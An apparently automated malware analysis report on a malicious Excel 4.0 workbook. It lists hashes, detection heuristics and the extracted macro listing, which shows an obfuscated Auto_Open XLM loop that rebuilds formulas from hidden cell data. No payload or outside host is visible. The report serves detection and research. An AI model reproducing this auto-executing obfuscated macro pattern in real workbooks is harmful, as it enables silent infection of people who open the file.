Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2a4f27e05dd82bab…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:10 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 0849321033cd587c2bef83c2351ed9ad SHA-1: dfe35561c915047f4b8c2755976bb37251470538 SHA-256: 2a4f27e05dd82bab28e2ff3b09c0987be8420057479aba946a29f3887c7c6124
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6365 bytes
SHA-256: aa41afec94f61b8494b41a08ad0ba1e96cceb5051006592d729a69f3fe4baf75
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Ssx
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D151 
' 0018     25 LABEL : Cell Value, String Constant - BIlXDWRIzq len=0 
' 0018     23 LABEL : Cell Value, String Constant - DPbIhEuQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - dYWICkz len=0 
' 0018     20 LABEL : Cell Value, String Constant - EnvCy len=0 
' 0018     22 LABEL : Cell Value, String Constant - FtKwNQp len=0 
' 0018     21 LABEL : Cell Value, String Constant - FzGLxV len=0 
' 0018     21 LABEL : Cell Value, String Constant - GvzBCE len=0 
' 0018     26 LABEL : Cell Value, String Constant - IeIuaXesgKz len=0 
' 0018     23 LABEL : Cell Value, String Constant - MUlJtLZB len=0 
' 0018     20 LABEL : Cell Value, String Constant - PPTiE len=0 
' 0018     20 LABEL : Cell Value, String Constant - pTEEe len=0 
' 0018     21 LABEL : Cell Value, String Constant - RsENtB len=0 
' 0018     21 LABEL : Cell Value, String Constant - rUzfLf len=0 
' 0018     22 LABEL : Cell Value, String Constant - RYpwthg len=0 
' 0018     21 LABEL : Cell Value, String Constant - skpMqc len=0 
' 0018     27 LABEL : Cell Value, String Constant - uPguxXFjWCMW len=0 
' 0018     20 LABEL : Cell Value, String Constant - upQuE len=0 
' 0018     23 LABEL : Cell Value, String Constant - vgjJmzjQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - woJrcYg len=0 
' 0018     26 LABEL : Cell Value, String Constant - yvmlfoOjDIq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Ssx,D59,"SET.NAME("yvmlfoOjDIq",VALUE("0"))",""
'  Ssx,D63,"SET.NAME("upQuE",yvmlfoOjDIq)",""
'  Ssx,D68,"SET.NAME("RYpwthg",yvmlfoOjDIq)",""
'  Ssx,D73,"SET.NAME("uPguxXFjWCMW",COUNTA(IeIuaXesgKz))",""
'  Ssx,D75,"SET.NAME("pTEEe",COUNTA(GvzBCE))",""
'  Ssx,D78,[],""
'  Ssx,D81,"SET.NAME("PPTiE","")",""
'  Ssx,D86,"upQuE",""
'  Ssx,D91,"SET.NAME("DPbIhEuQ",HLOOKUP("*",IeIuaXesgKz,upQuE,FALSE))",""
'  Ssx,D95,"rUzfLf",""
'  Ssx,D100,"SET.NAME("MUlJtLZB",yvmlfoOjDIq)",""
'  Ssx,D103,[],""
'  Ssx,D105,"MUlJtLZB",""
'  Ssx,D108,"BIlXDWRIzq",""
'  Ssx,D110,"FzGLxV",""
'  Ssx,D115,"RsENtB",""
'  Ssx,D119,"SET.NAME("vgjJmzjQ",VALUE(HLOOKUP("*",GvzBCE,RsENtB,FALSE)))",""
'  Ssx,D122,"woJrcYg",""
'  Ssx,D124,"PPTiE",""
'  Ssx,D126,"RYpwthg",""
'  Ssx,D128,NEXT(),""
'  Ssx,D132,"FtKwNQp",""
'  Ssx,D134,"SET.NAME("f",INT(T(FORMULA(T(PPTiE)&"",""&T(FtKwNQp)))))",""
'  Ssx,D138,"dYWICkz",""
'  Ssx,D141,NEXT(),""
'  Ssx,D146,RETURN(),""
'  Ssx,D174,"SET.NAME("skpMqc",D59)",""
'  Ssx,D177,"IeIuaXesgKz",""
'  Ssx,D179,"SET.NAME("GvzBCE",R67C15)",""
'  Ssx,D183,"SET.NAME("dYWICkz",189)",""
'  Ssx,D185,"SET.NAME("EnvCy",4)",""
'  Ssx,D188,skpMqc(),""
'  Ssx,D189,HALT(),""